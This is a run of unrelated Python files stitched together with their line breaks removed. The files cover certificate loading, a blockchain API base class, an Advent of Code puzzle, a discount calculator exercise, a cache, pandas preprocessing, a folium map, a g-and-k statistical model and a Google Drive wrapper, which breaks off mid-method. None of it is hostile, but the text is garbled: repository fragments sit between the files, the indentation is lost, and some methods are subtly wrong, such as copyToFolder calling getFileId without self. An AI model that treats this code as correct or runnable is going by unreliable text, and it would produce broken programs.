str: """ Take an x509 certificate and encode it to a string suitable for adding to XML responses. :param certificate: A certificate, perhaps loaded from :func:`certificate_from_file`. """ pem_bytes = OpenSSL.crypto.dump_certificate( OpenSSL.crypto.FILETYPE_PEM, certificate) return ''.join(pem_bytes.decode('ascii').strip().split('\n')[1:-1]) def certificate_from_string( certificate: str, format=OpenSSL.crypto.FILETYPE_PEM, ) -> TS.X509: """ Load an X509 certificate from a string. This just strips off the header and footer text. :param str: A certificate string. :param format: The format of the certificate, from :doc:`OpenSSL:api/crypto`. """ return OpenSSL.crypto.load_certificate(format, certificate) def certificate_from_file( filename: Union[str, pathlib.Path], format=OpenSSL.crypto.FILETYPE_PEM, ) -> TS.X509: """Load an X509 certificate from ``filename``. :param filename: The path to the certificate on disk. :param format: The format of the certificate, from :doc:`OpenSSL:api/crypto`. """ with open(filename, 'r') as handle: return certificate_from_string(handle.read(), format) def private_key_from_string( private_key: str, format=OpenSSL.crypto.FILETYPE_PEM, ) -> TS.PKey: """Load a private key from a string. :param str: A private key string. :param format: The format of the private key, from :doc:`OpenSSL:api/crypto`. """ return OpenSSL.crypto.load_privatekey(format, private_key) def private_key_from_file( filename: Union[str, pathlib.Path], format=OpenSSL.crypto.FILETYPE_PEM, ) -> TS.PKey: """Load a private key from ``filename``. :param filename: The path to the private key on disk. :param format: The format of the private key, from :doc:`OpenSSL:api/crypto`. """ with open(filename, 'r') as handle: return private_key_from_string(handle.read(), format) def url_for(*args, **kwargs): return flask_url_for( *args, **kwargs, _scheme=current_app.config.get('HTTP_SCHEME', 'http')) from abc import ABC, abstractmethod from math import floor class BlockApi(ABC): def __init__(self,nw): super().__init__() self.nw = nw @abstractmethod def get_current_level(self): pass def level_to_cycle(self, level): return floor(level / self.nw['BLOCKS_PER_CYCLE']) def get_current_cycle(self): return self.level_to_cycle(self.get_current_level()) with open("day-09.txt") as f: heatmap = list(map(lambda l: list(map(int, l)), f.read().rstrip().splitlines())) ans = 0 for i in range(len(heatmap)): for j in range(len(heatmap[i])): if ( (i == 0 or heatmap[i][j] < heatmap[i - 1][j]) and (i == len(heatmap) - 1 or heatmap[i][j] < heatmap[i + 1][j]) and (j == 0 or heatmap[i][j] < heatmap[i][j - 1]) and (j == len(heatmap[i]) - 1 or heatmap[i][j] < heatmap[i][j + 1]) ): ans += heatmap[i][j] + 1 print(ans) Cursos/Alura/DesignPatternsPython1/Capitulo02/Exemplos/calculadorDeDescontos02_ex_cap02.py # Programa: calculadorDeDescontos02_ex_cap02.py # Author: # Description: Modelo para apenas calculasr os descontos # Developed: 17/04/2021 - 08:29 # Upadated: 21/04/2021 - 06:17 # Updated: 21/04/2021 - 06:30 from orcamento_ex_cap02 import Orcamento, Item from desconto01_ex_cap02 import Desconto_por_cinco_itens, \ Desconto_por_mais_de_quinhentos_reais, Sem_desconto class Calculador_de_descontos: def calcula(self, orcamento): desconto = Desconto_por_cinco_itens( Desconto_por_mais_de_quinhentos_reais(Sem_desconto()) ).calcula(orcamento) return desconto if __name__ == '__main__': orcamento = Orcamento() orcamento.adiciona_item(Item('ITEM - 1', 100)) orcamento.adiciona_item(Item('ITEM - 2', 50)) orcamento.adiciona_item(Item('ITEM - 3', 400)) valor_total = orcamento.valor print(f'Nosso valor total acumulado é R$ {valor_total}') calculador = Calculador_de_descontos() desconto = calculador.calcula(orcamento) print(f'O desconto gerado foi de: R$ {desconto:0.2f}')0 from abc import ABCMeta from abc import abstractmethod import logging import threading logger = logging.getLogger(__name__) class DefaultCache(object): __instance = None __lock = threading.Lock() def __init__(self): """init in memory dict cache""" self.__cache = {} @staticmethod def get_instance(): """get singlton instance""" DefaultCache.__lock.acquire() if not DefaultCache.__instance: DefaultCache.__instance = DefaultCache() DefaultCache.__lock.release() return DefaultCache.__instance def get(self, key): """use in-memory for getting values by key""" logger.info("DefaultCache -> [get], key:%s" % str(key)) return self.__cache.get(key, None) def set(self, key, val): """set value in memory cache""" logger.info("DefaultCache -> [set], key:%s" % str(key)) self.__cache[key] = val 10-100 """Copyright 2016 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Common functions and utilities used across the logocert package. This provides some common functions and classes that are needed by multiple classes and modules in the Logo Certification Package. """ import time import os from _config import Constants # Module level variable _use_color_output = (Constants.TEST['FORCE_COLOR_OUTPUT'] or 'nt' not in os.name.lower()) def Sleep(wait_type): sec = Constants.SLEEP[wait_type] if 'POLL' not in wait_type: print '[Configurable sleep] %s: %s seconds' %(wait_type, sec) time.sleep(sec) def GreenText(str): """Display text in green Args: str: string, the str to display, cannot be None. """ global _use_color_output return str if not _use_color_output else '\033[92m'+str+'\033[0m' def RedText(str): """Display text in red Args: str: string, the str to display, cannot be None. """ global _use_color_output return str if not _use_color_output else '\033[91m'+str+'\033[0m' def BlueText(str): """Display text in blue Args: str: string, the str to display, cannot be None. """ global _use_color_output return str if not _use_color_output else '\033[94m'+str+'\033[0m' def PurpleText(str): """Display text in purple Args: str: string, the str to display, cannot be None. """ global _use_color_output return str if not _use_color_output else '\033[95m' + str + '\033[0m' def PromptUserAction(msg): """Display text in warning color and beep Args: msg: string, the msg to prompt the user. Returns: string, prompt string """ print "\a" # Cross-platform beep print PurpleText('[ACTION] '+msg) def PromptAndWaitForUserAction(msg): """Display text in green and beep - cross-platform, then wait for user to press enter before continuing Args: msg: string, the msg to prompt the user. Returns: string, user input string """ PromptUserAction(msg) return raw_input(PurpleText('>>> ')) def Extract(dict_in, dict_out): """Extract all the keys and values from a nested dictionary. Args: dict_in: dictionary of unknown size and levels. dict_out: dictionary to be created. """ if isinstance(dict_in, dict): for key, value in dict_in.iteritems(): if isinstance(value, dict): Extract(value, dict_out) elif isinstance(dict_in, list): for i in dict_in: Extract(i, dict_out) else: dict_out[key] = value else: type(dict_in) class Error(Exception): """Base class for exceptions in this module. Args: expr: string, expression that caused the error. msg: string, reason for error. """ def __init__(self, expr, msg): super(Error, self).__init__() self.expr = expr self.msg = msg class InitError(Error): """Exception raised for errors in the class initialization. Args: msg: string, reason for error. """ def __init__(self, msg): super(InitError, self).__init__('Error initializing object.', msg) import argparse, sys import pandas as pd def _flatten(df): print("in flatten:") print("Preprocess some cols") df["risk_factor"] = df["risk_factor"].fillna(-1) print("Get df for intermetidate vals") df_intermediate_choices = df.loc[df["record_type"] == 0].copy() df_intermediate_choices["day_first"] = df_intermediate_choices["day"] print("Get df for final vals") df_final_choice = df.loc[df['record_type'] == 1].copy() df_final_choice = df_final_choice.drop(["record_type", "time", "location"], 1) final_cols_renaming = { chr(i) : chr(i) + "_final" for i in range(ord("A"), ord("G")+1) } final_cols_renaming["cost"] = "cost_final" df_final_choice.rename(columns=final_cols_renaming, inplace=True) print("aggregate intermediate vals:") aggregate_ops = { "customer_ID": "first", "day_first": "first", "day": "last", "A": "last", "B": "last", "C": "last", "D": "last", "E": "last", "F": "last", "G": "last", "cost": "last", } df_intermediate_choices = df_intermediate_choices.groupby(df_intermediate_choices['customer_ID']).agg(aggregate_ops) df_intermediate_choices.rename(columns={ "day_first": "day_first_prev", "day": "day_prev", "A": "A_prev", "B": "B_prev", "C": "C_prev", "D": "D_prev", "E": "E_prev", "F": "F_prev", "G": "G_prev", "cost": "cost_prev", }, inplace=True) print("Join intermediate and final results") df_joined = df_intermediate_choices.set_index('customer_ID').join(df_final_choice.set_index('customer_ID')) print("Create some new cols based on intermediate + final features") df_joined["num_days"] = (df_joined["day"] - df_joined["day_first_prev"]) % 7 df_joined["final_purchase_date_same"] = (df_joined["day"] == df_joined["day_prev"]).astype(int) df_joined["cost_changed"] = (df_joined["cost_final"] != df_joined["cost_prev"]).astype(int) df_joined["cost_delta"] = df_joined["cost_final"] - df_joined["cost_prev"] print("Drop some tmp columns") df_joined = df_joined.drop(['day_first_prev', 'day_prev', "cost_prev"], 1) return df_joined def _ohe(df): print("in ohe") return pd.get_dummies(df, columns=['car_value']) def transform(args): print("in transform") df = pd.read_csv(args.dataset_path) df_processed = _ohe(_flatten(df)) df_processed.to_csv(args.output_dir + "/" + args.output_file) def main(): print("in main") parser = argparse.ArgumentParser(description="Process the dataset") parser.add_argument("--dataset-path", type=str, required=True, help="path to CSV to process") parser.add_argument("--dataset-id", type=str, required=True, choices=['allstate'], help="the dataset identifier to process") parser.add_argument("--mode", type=str, default="", choices=[""], help="Currently has no function") parser.add_argument("--output-dir", type=str, required=True, help="The directory in which output files will be placed") parser.add_argument("--output-file", type=str, required=True, help="File to write the output to") args = parser.parse_args() print(args) transform(args) if __name__ == "__main__": # sys.argv.extend([ # "--dataset-path", "derp/train.csv", # "--dataset-id", "allstate", # "--output-dir", "outderp", # "--output-file", "derp" # ]) main() anamikasharaf/Webmap0 import folium import pandas # function to choose color based on elevation def color_selection(elevation): if elevation < 1000: return 'green' elif 1000 <= elevation < 3000: return 'orange' else: return 'red' # creating a map trough folium map = folium.Map(location = [37.285554, -121.876516], zoom_start=6, tiles='Mapbox Bright') # creating a feature group object to put volcanoes markers in it and handle them as a single layer. map_fgv = folium.FeatureGroup(name = "Volcanoes") # using pandas to iterate over Volcanoes.txt to get all locations (LAT,LON) and name (NAME) of Volcanoes data = pandas.read_csv("Volcanoes.txt") df = data[['LAT','LON','NAME','ELEV']] for index, row in df.iterrows(): location = [row['LAT'],row['LON']] name_elev = row['NAME'] + ', ' + str(row['ELEV']) + "m" color = color_selection(row['ELEV']) # adding a child to map_fg object which sets a marker at San Jose map_fgv.add_child(folium.CircleMarker(location=location, radius=5, color=color, fill_color=color, fill_opacity=0.9, popup=folium.Popup(name_elev))) # creating a feature group object to put populations in it and handle them as a single layer. map_fgp = folium.FeatureGroup(name="Population") # adding a GeoJSON layer to the map map_fgp.add_child(folium.GeoJson(data=open('world.json', 'r').read(), style_function=lambda x: {'fillColor':'green' if x['properties']['POP2005'] < 10000000 else 'orange' if 10000000 <= x['properties']['POP2005'] < 20000000 else 'red'})) # adding map_fgv to map object map.add_child(map_fgv) # adding map_fgv to map object map.add_child(map_fgp) # adding a LayerControl to the map for a clear seperation of marker and population layer map.add_child(folium.LayerControl(position='topright', collapsed=True, autoZIndex=True)) # saving the map object in HTML page map.save("webmap.html") """Implementation of the univariate g-and-k example model.""" from functools import partial import numpy as np import scipy.stats as ss import elfi def GNK(A, B, g, k, c=0.8, n_obs=50, batch_size=1, random_state=None): """Sample the univariate g-and-k distribution. References ---------- [1] ., & . (2011). Likelihood-free Bayesian estimation of multivariate quantile distributions. Computational Statistics & Data Analysis, 55(9), 2541-2556. [2] ., ., & . (2009). Bayesian estimation of quantile distributions. Statistics and Computing, 19(2), 189-201. The quantile function of g-and-k distribution is defined as follows: Q_{gnk} = A + B * (1 + c * (1 - exp(-g * z(p)) / 1 + exp(-g * z(p)))) * (1 + z(p)^2)^k * z(p), where z(p) is the p-th standard normal quantile. To sample from the g-and-k distribution, draw z(p) ~ N(0, 1) and evaluate Q_{gnk}. Parameters ---------- A : float or array_like Location parameter. B : float or array_like Scale parameter. g : float or array_like Skewness parameter. k : float or array_like Kurtosis parameter. c : float, optional Overall asymmetry parameter, by default fixed to 0.8 as in Allingham et al. (2009). n_obs : int, optional batch_size : int, optional random_state : np.random.RandomState, optional Returns ------- array_like Yielded points (the array's shape corresponds to (batch_size, n_points, n_dims). """ # Transforming the arrays' shape to be compatible with batching. A = np.asanyarray(A).reshape((-1, 1)) B = np.asanyarray(B).reshape((-1, 1)) g = np.asanyarray(g).reshape((-1, 1)) k = np.asanyarray(k).reshape((-1, 1)) # Obtaining z(p) ~ N(0, 1). z = ss.norm.rvs(size=(batch_size, n_obs), random_state=random_state) # Evaluating the quantile function Q_{gnk}. y = A + B * (1 + c * ((1 - np.exp(-g * z)) / (1 + np.exp(-g * z)))) * (1 + z**2)**k * z # Dedicating a dummy axis for the dimensionality of the points. y = y[:, :, np.newaxis] return y def get_model(n_obs=50, true_params=None, seed=None): """Initialise the g-and-k model. Parameters ---------- n_obs : int, optional Number of the observations. true_params : array_like, optional Parameters defining the model. seed : np.random.RandomState, optional Returns ------- elfi.ElfiModel """ m = elfi.new_model() # Initialising the parameters as in Allingham et al. (2009). if true_params is None: true_params = [3, 1, 2, .5] # Initialising the prior settings as in Allingham et al. (2009). priors = [] priors.append(elfi.Prior('uniform', 0, 10, model=m, name='A')) priors.append(elfi.Prior('uniform', 0, 10, model=m, name='B')) priors.append(elfi.Prior('uniform', 0, 10, model=m, name='g')) priors.append(elfi.Prior('uniform', 0, 10, model=m, name='k')) # Obtaining the observations. y_obs = GNK(*true_params, n_obs=n_obs, random_state=np.random.RandomState(seed)) # Defining the simulator. fn_simulator = partial(GNK, n_obs=n_obs) elfi.Simulator(fn_simulator, *priors, observed=y_obs, name='GNK') # Initialising the summary statistics as in Allingham et al. (2009). default_ss = elfi.Summary(ss_order, m['GNK'], name='ss_order') # Using the multi-dimensional Euclidean distance function as # the summary statistics' implementations are designed for multi-dimensional cases. elfi.Discrepancy(euclidean_multiss, default_ss, name='d') return m def euclidean_multiss(*simulated, observed): """Calculate the Euclidean distances merging summary statistics. The shape of the arrays corresponds to (batch_size, dim_ss, dim_ss_point), where dim_ss corresponds to the dimensionality of the summary statistics, and dim_ss_point corresponds to the dimensionality a summary statistic data point. Parameters ---------- *simulated: array_like observed : array_like Returns ------- array_like """ pts_sim = simulated[0] pts_obs = observed[0] # Integrating over the summary statistics. d_ss_merged = np.sum((pts_sim - pts_obs)**2., axis=1) # Integrating over the summary statistics' data point dimensionality. d_ss_point_merged = np.sum(d_ss_merged, axis=1) d = np.sqrt(d_ss_point_merged) return d def ss_order(y): """Obtain the order summary statistic described in Allingham et al. (2009). The statistic reaches the optimal performance upon a low number of observations. Parameters ---------- y : array_like Yielded points. Returns ------- array_like of the shape (batch_size, dim_ss=len(y), dim_ss_point) """ ss_order = np.sort(y) return ss_order def ss_robust(y): """Obtain the robust summary statistic described in Drovandi and Pettitt (2011). The statistic reaches the optimal performance upon a high number of observations. Parameters ---------- y : array_like Yielded points. Returns ------- array_like of the shape (batch_size, dim_ss=4, dim_ss_point) """ ss_A = _get_ss_A(y) ss_B = _get_ss_B(y) ss_g = _get_ss_g(y) ss_k = _get_ss_k(y) # Combining the summary statistics. ss_robust = np.hstack((ss_A, ss_B, ss_g, ss_k)) ss_robust = ss_robust[:, :, np.newaxis] return ss_robust def ss_octile(y): """Obtain the octile summary statistic. The statistic reaches the optimal performance upon a high number of observations. According to Allingham et al. (2009), it is more stable than ss_robust. Parameters ---------- y : array_like Yielded points. Returns ------- array_like of the shape (batch_size, dim_ss=8, dim_ss_point) """ octiles = np.linspace(12.5, 87.5, 7) E1, E2, E3, E4, E5, E6, E7 = np.percentile(y, octiles, axis=1) # Combining the summary statistics. ss_octile = np.hstack((E1, E2, E3, E4, E5, E6, E7)) ss_octile = ss_octile[:, :, np.newaxis] return ss_octile def _get_ss_A(y): L2 = np.percentile(y, 50, axis=1) ss_A = L2 return ss_A def _get_ss_B(y): L1, L3 = np.percentile(y, [25, 75], axis=1) # Avoiding the zero value (ss_B is used for division). ss_B = (L3 - L1).ravel() idxs_zero = np.where(ss_B == 0)[0] ss_B[idxs_zero] += np.finfo(float).eps # Transforming the summary statistics back into the compatible shape. n_dim = y.shape[-1] n_batches = y.shape[0] ss_B = ss_B.reshape(n_batches, n_dim) return ss_B def _get_ss_g(y): L1, L2, L3 = np.percentile(y, [25, 50, 75], axis=1) ss_B = _get_ss_B(y) ss_g = np.divide(L3 + L1 - 2 * L2, ss_B) return ss_g def _get_ss_k(y): E1, E3, E5, E7 = np.percentile(y, [12.5, 37.5, 62.5, 87.5], axis=1) ss_B = _get_ss_B(y) ss_k = np.divide(E7 - E5 + E3 - E1, ss_B) return ss_k 1-10 from datetime import datetime from motorodm import ( Document, StringField, ListField, DateTimeField, ReferenceField ) from .user import User class Permission(Document): user = ReferenceField(reference_document_type=User, required=True, unique=True) roles = ListField(item_field=StringField(), required=True) created = DateTimeField(required=True) updated = DateTimeField(required=True) def before_create(self): self.created = self.updated = datetime.utcnow() def before_update(self): self.updated = datetime.utcnow() from __future__ import print_function import os.path from googleapiclient.discovery import build from google_auth_oauthlib.flow import InstalledAppFlow from google.auth.transport.requests import Request from google.oauth2.credentials import Credentials from googleapiclient.http import MediaFileUpload import sys # sys.path import os # os.path import stat # S_IRUSR import re # regex from datetime import datetime import threading from time import sleep from pprint import pprint # this is to include another sources in this module sys.path.append(os.path.dirname(__file__)) from _enum import MIME_TYPES __author__ = "" __mail__ = "" __date__ = "July, 2021" __modified__ = "2021.08.01" __github__ = "github.com/YoelMonsalve/GoogleDrivePythonLibrary" """ Requirements: pip3 install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib """ # If modifying these scopes, delete the file token.json. # Q (yoel): Should it be drive.metadata only, instead of drive.metadata.readonly ??? SCOPES = ['https://www.googleapis.com/auth/drive.metadata.readonly', 'https://www.googleapis.com/auth/drive'] # MIME types MIME_TYPE_FOLDER = MIME_TYPES.FOLDER['mime'] MIME_TYPE_FILE = MIME_TYPES.FILE['mime'] MIME_TYPE_SHEET = MIME_TYPES.SPREADSHEET['mime'] MIME_TYPE_DOCUMENT = MIME_TYPES.DOCUMENT['mime'] MIME_TYPE_PHOTO = MIME_TYPES.PHOTO['mime'] class GoogleDriveAPI(object): """Custom class to easily manage the Google Drive API, coded in Python @author @mail References: =============================================================== https://developers.google.com/drive/api/v3/ https://developers.google.com/drive/api/v3/quickstart/python https://developers.google.com/drive/api/v3/about-files """ def __init__(self): self.name = "GoogleDriveAPI" self.token_file = '' # the file containing the token, it will be generated automatically # using the authentication flow & client secret self.client_secret = '' # the client secret file (download it from the Google Cloud Console page # https://console.cloud.google.com/apis/credentials?project=xxx-yyy) self.service = None # the Google API service # MIME types self.MIME_TYPE_FOLDER = MIME_TYPE_FOLDER self.MIME_TYPE_FILE = MIME_TYPE_FILE self.MIME_TYPE_SHEET = MIME_TYPE_SHEET self.MIME_TYPE_DOCUMENT = MIME_TYPE_DOCUMENT self.MIME_TYPE_PHOTO = MIME_TYPE_PHOTO # SCOPES self.SCOPES = SCOPES def init_service(self, scopes = []): """This initializes the API service, using the client authentication @param scopes The scopes to create the credentials for, if null then takes self.SCOPES """ creds = None # The file token.json stores the user's access and refresh tokens, and is # created automatically when the authorization flow completes for the first # time. if os.path.exists(self.token_file): if scopes: # allows you to define other scopes each time you invoke the service self.SCOPES = scopes if not self.SCOPES: raise Exception(f"{self.name}.init_service failed: No SCOPE defined") creds = Credentials.from_authorized_user_file(self.token_file, self.SCOPES) # If there are no (valid) credentials available, let the user log in. if not creds or not creds.valid: if creds and creds.expired and creds.refresh_token: # refresh token creds.refresh(Request()) else: # create the token by the first time, using the authorization flow if not self.client_secret: raise Exception(f"{self.name}.init_service failed: trying to create a new token, and there is no a client secret") flow = InstalledAppFlow.from_client_secrets_file( self.client_secret, # the client secret of the App self.SCOPES ) creds = flow.run_local_server(port=0) # Save the credentials for the next run with open(self.token_file, 'w') as token: token.write(creds.to_json()) try: service = build('drive', 'v3', credentials=creds) self.service = service # service created! except Exception as e: raise Exception(f"{self.name}.init_service failed: {str(e)}") def list_all_files(self, query='', attr=''): """Based in the code from: https://developers.google.com/drive/api/v3/search-files Reference: https://developers.google.com/drive/api/v3/reference/files/list @param query String. The query to search files for, e.g. "name='foo.txt'" @param fields (optional) List. A list of metadata attributes to be retrieved, e.g. ['name', 'size', 'mimeType'] @return On success, a list of dictionaries describing each file found, as retrieved by the method service.files().list(). If not found, retrieves []. """ if not self.service or not query: return data = [] page_token = None while True: if not attr or not (type(attr) is list): req_fields = 'nextPageToken, files(id, name, mimeType, parents)' else: req_fields = 'nextPageToken, files(' + ','.join(attr) + ')' #print("query:", query) response = self.service.files().list( q = query, pageSize = 20, # The maximum number of files to return per page. Partial or empty result pages are possible # even before the end of the files list has been reached. Acceptable values are 1 to 1000, inclusive. # (Default: 100) spaces = 'drive', # A comma-separated list of spaces to query within the corpus. Supported values are 'drive', # 'appDataFolder' and 'photos'. fields = req_fields, pageToken = page_token ).execute() n_max = 20 # LIMIT to n_max items ............. QUIT LATER!!! for file in response.get('files', []): data.append(file) if n_max == 0: break n_max -= 1 page_token = response.get('nextPageToken', None) if page_token is None: break return data def list_directory(self, path = '', attr=[], fileId=''): """List the content of a directory. The paths '/', and '' (empty) are allowed to refer to the root folder. @param path String. The path to scan for. @param fileId (optional) String. If given, this overwrites path. @param attr (optional) List. The attributes to be retrieved for the entries. @return A list of dicts, each containing basic attributes for the entry ('name', 'id', 'mimeType','size','modifiedTime','parents') @raise Exception, if the path does not exist, or it is not a directory. """ if not self.service: raise Exception(f"{self.name}.list_directory: API service not started") if not fileId: ROOT_ID = "root" if not path or path == '/': parentId = ROOT_ID else: parent = self.getFileId(path, attr=['mimeType']) if not parent: raise Exception(f"{self.name}.list_directory: File not found: '{path}'") elif parent.get('mimeType','') != MIME_TYPE_FOLDER: raise Exception(f"{self.name}.list_directory: It is not a directory: '{path}'") parentId = parent['id'] else: parentId = fileId query = f"'{parentId}' in parents" if not attr: # basic metadata attr = attr=['name','id','mimeType', 'size', 'modifiedTime','parents'] return self.list_all_files(query=query, attr=attr) def list_folders(self, name = '', parentId = ''): """List all folders with a specific name. To look sub-folders into a specific parent folder, the paramenter parentID is the ID of such a parent. If no parent ID is given, it will list folders under the root location """ if not self.service: return ROOT_ID = 'root' query = f"mimeType='{self.MIME_TYPE_FOLDER}'" if name: query += f" and name='{name}'" if parentId and parentId != '/': query += f" and '{parentId}' in parents" else: query += f" and '{ROOT_ID}' in parents" return self.list_all_files(query) def list_files(self, name = '', mimeType = '', parentId = ''): """List all files with a specific name into a specific location. If not mimeType is given, will list all entries that are not folders. The parentId is the ID of the folder into which to look the files. If no parent ID is given, it will list files under the root location. """ if not self.service: return if not mimeType: query = f"mimeType!='{self.MIME_TYPE_FOLDER}'" else: query = f"mimeType='{mimeType}'" if name: # removing dealing '/' if name[0] == '/': name = name[1:] query += f" and name='{name}'" ROOT_ID = 'root' if parentId and parentId != '/': query += f" and '{parentId}' in parents" else: query += f" and '{ROOT_ID}' in parents" return self.list_all_files(query) def delete_files(self, name = '', mimeType = '', parentId = ''): """Delete all files with a specific name into a specific location. The parameters name, mimeType and parentId are like in the method list_files() """ if not self.service: return files = self.list_files(name=name, mimeType=mimeType, parentId=parentId) if not files: return print(f"{len(files)} results found") for file in files: ans = input(f"delete \'{file['name']}\' [y]es/[n]o/[c]ancel? This action cannot be undone: ") if ans.upper() == 'Y': id = file['id'] self.service.files().delete(fileId=id).execute() elif ans.upper() == 'C': break def delete_folders(self, name = '', parentId = ''): """Delete all folders with a specific name into a specific location. The parameters nameand parentId are like in the method list_files() """ return self.delete_files(name=name, mimeType=MIME_TYPE_FOLDER, parentId=parentId) def remove(self, path = '', prompt = True, silent = False): """Remove a file, given its path. The file can be a normal file, or a directory. If it is a directory, the entire folder and all its content will be removed (be careful!) The method recognizes paths like /path/to/folder', or '/path/to/folder/foo.txt' @param path String. The path to the file to be removed. @param silent Bool. If True, don't raise Exception if the file doesn't exist. Implies prompt = False. @return None. @raise Exception, if the files does not exist. """ if silent: prompt = False # silent implies not prompt fileId = self.getFileId(path) if not fileId: if silent: return else: raise Exception(f"{self.name}.remove: File not found '{path}'") if prompt: ans = input(f"delete '{path}' [y]es/[n]o? This action cannot be undone: ") if ans.upper() == 'Y': self.service.files().delete(fileId=fileId).execute() else: self.service.files().delete(fileId=fileId).execute() def upload_file(self, origin = '', filename = '', originMimeType = '', destMimeType = '', dest = ''): """Upload a file from the local machine up to Drive. The file will have the new name if given, or else the same name as in origin. If is passed, the uploaded file will be moved to that folder. Otherwise, the file will remain in the root folder of Drive. @param origin String. The path of the file to be uploaded, e.g. 'path/to/file/foo.txt' @param originMimeType String. The MIME type of the uploaded file, e.g. 'text/csv' @param filename (optional) String. The name to be given to the new file into Drive. @param destMimeType (optonal) String. The MIME type to the uploaded file, e.g. MIME_TYPE_DOCUMENT, etc. @param dest (optional) String. The folder to move the uploaded the file in the destination. @return String. The uploaded file ID. """ if not origin or not filename: return # cheching if the file exists if not os.path.exists(origin) or not os.path.isfile(origin): raise Exception(f"{self.name}.upload_file: File not found") # and is readable elif not (os.stat(origin).st_mode & stat.S_IRUSR): raise Exception(f"{self.name}.upload_file: File is not readable (check permissions)") file_metadata = { 'name': filename, } if destMimeType: file_metadata['mimeType'] = destMimeType media = MediaFileUpload( origin, #mimetype='text/csv', mimetype=originMimeType, resumable=True) file = self.service.files().create( body=file_metadata, media_body=media, fields='id').execute() fileId = file.get('id') if fileId and dest: folderId = self.getFileId(dest) if folderId: self.moveToFolderById(fileId, folderId) return fileId def searchFile(self, path = ''): """This is shorcut method to getFileId, with a predefined set of attributes @param path String. The path to search for. @return Metadata (dict) of the file, or {} if not found. """ return self.getFileId(path, attr=['id', 'name', 'size', 'mimeType', 'modifiedTime', 'parents', 'md5Checksum']) def getFileId(self, path='', attr=[]): """Get the file ID from a Drive path, e.g.: dir1/dir2/file.txt. Normally, this method returns only the ID of the file. But if you set a list of attributes (e.g. attr = ['mimeType', 'size']), then those attributes (plus the ID) will be appended to the response and returned as in by the method get(). NOTE: if the name contains '/', you must escape it with '\/' e.g. 'file/a' -> 'file\/a' @param path String. The path of the Drive file to be located. @param attr (optional) List. A list of attributes to be retrieved if success. @return If no attr is passed, returns the ID of the file on success, or an empty string on failure. If attr is passed, return a dict of attributes on success, or {} on failure. """ # remove dealing '/', e.g. '/path/to/my/folder' if path[0] == '/': path = path[1:] if not path: return # recognizing the escape character \/ # bug 2021.08.1 # as wildcard ('*') is not allowed in a file name, we will replace # temporarily the '\/' by '*', then split by '/' and newly # replace back '*' by '/' if '*' in path: raise Exception(f"{self.name}.getFileId: path cannot contain wildcard characters ('*')") path = path.replace("\\/", '*') # using "\\/" to avoid ambiguity folders = path.split('/') if folders[-1] == '': # if the path is ended with '/', e.g. 'path/to/my/folder/' folders = folders[:-1] if not folders: return parentId = "root" # start search in the root folder for folder in folders: # descend through each folder in the path # converting '*' into '/' folder = folder.replace("*", "/") if not parentId: # not found return '' if not attr else {} q = f"name='{folder}' and '{parentId}' in parents" # === debug === #print(q) r = self.list_all_files(query=q, attr='id') # === debug === #pprint(r) if r: # by the next iteration, take the current folder as the parent parentId = r[0].get('id', '') else: parentId = '' if not parentId: # not found return '' if not attr else {} # if not attr are given, return only the file ID. Otherwise, return # a dict of attributes (as retrived by the API method get()) if not attr: return parentId else: fields = 'id' for a in attr: fields += f", {a}" r = self.service.files().get(fileId=parentId, fields=fields).execute() return r def getMimeTypeById(self, fileId = ''): """Get the MIME type of the file, given its ID @param fileId String. The file ID. @return String. The MIME type. """ if not fileId: return None file = self.service.files().get( fileId=fileId, fields='mimeType' ).execute() if file: return file.get('mimeType') else: return None def getFileNameById(self, fileId = ''): """Get the file name, given its ID @param fileId String. The file ID. @return String. The file name. """ if not fileId: return None file = self.service.files().get( fileId=fileId, fields='name' ).execute() if file: return file.get('name') else: return None def moveToFolderById(self, fileId = '', folderId = ''): """Move a file to a folder into Drive. https://developers.google.com/drive/api/v3/folder#python By using this in conjunction with getFileId, you can build sentences like - API.moveToFolder(API.getFileId('foo.txt'), API.getFileId('path/to/move')) @param fileId String. The ID of the file to be moved (see method getFileId()). @param folderId String. The ID of the folder to which move the file. @return None """ if not fileId or not folderId: # NOTE: .... maybe raise an Exception instead ? return drive_service = self.service # verifying the destination in a folder folder = drive_service.files().get( fileId=folderId, fields='mimeType' ).execute() if folder.get('mimeType') != MIME_TYPE_FOLDER: raise Exception(f"{self.name}.moveToFolderById: Destination is not a MIME type folder") # Retrieve the existing parents to remove file = drive_service.files().get( fileId=fileId, fields='parents' ).execute() previous_parents = ",".join(file.get('parents')) # Move the file to the new folder file = drive_service.files().update( fileId=fileId, addParents=folderId, removeParents=previous_parents, fields='id, parents' ).execute() def moveToFolder(self, filename='', foldername=''): """Move a file to a folder, but using paths instead of ID's. E.g.: moveToFolder('foo.txt', 'path/to/move') @param filename String. The name of the file to be moved. @param foldername String. The name of the folder to which move the file. @return None """ if not filename or not foldername: return fileId = self.getFileId(filename) folderId = self.getFileId(foldername) if not fileId or not folderId: return # not found self.moveToFolderById(fileId, folderId) def copyToFolderById(self, fileId = '', folderId = ''): """Make a copy of a file, into another folder. https://stackoverflow.com/questions/64347544/how-to-rename-a-google-spreadsheet-via-google-drive-api-in-python By using this in conjunction with getFileId, you can build sentences like - API.copyToFolder(API.getFileId('foo.txt'), API.getFileId('path/to/move')) @param fileId String. The ID of the file to be copied (see method getFileId()). @param folderId String. The ID of the folder to which copy the file. @return None """ if not fileId or not folderId: return copyId = self.service.files().copy(fileId=fileId).execute()["id"] self.moveToFolder(copyId, folderId) def copyToFolder(self, filename='', foldername=''): """Make a copy of a file into a folder, but using paths instead of ID's. e.g.: copyToFolder('foo.txt', 'path/to/move') @param filename String. The name of the file to be copied (see method getFileId()). @param foldername String. The name of the folder to which copy the file. @return None """ if not filename or not foldername: return fileId = getFileId(filename) folderId = getFileId(foldername) if not fileId or not folderId: return # not found self.moveToFolderById(fileId, folderId) def rename(self, oldFilename='', newFilename=''): """Rename a file. The file keeps holding in the same folder/parent. To move the file no another folder, plus changing the filename, use first the method moveToFolder(), then rename(). e.g.: rename('path/to/file/foo.txt', 'foo2.txt') the result is the file 'path/to/file/foo2.txt' @param oldFilename String. The file to be renamed. @param newFilename String. The new name (in the same folder/parent where it was) @return None @raises Exception, if the file named oldFilename does not exist. """ if not oldFilename or 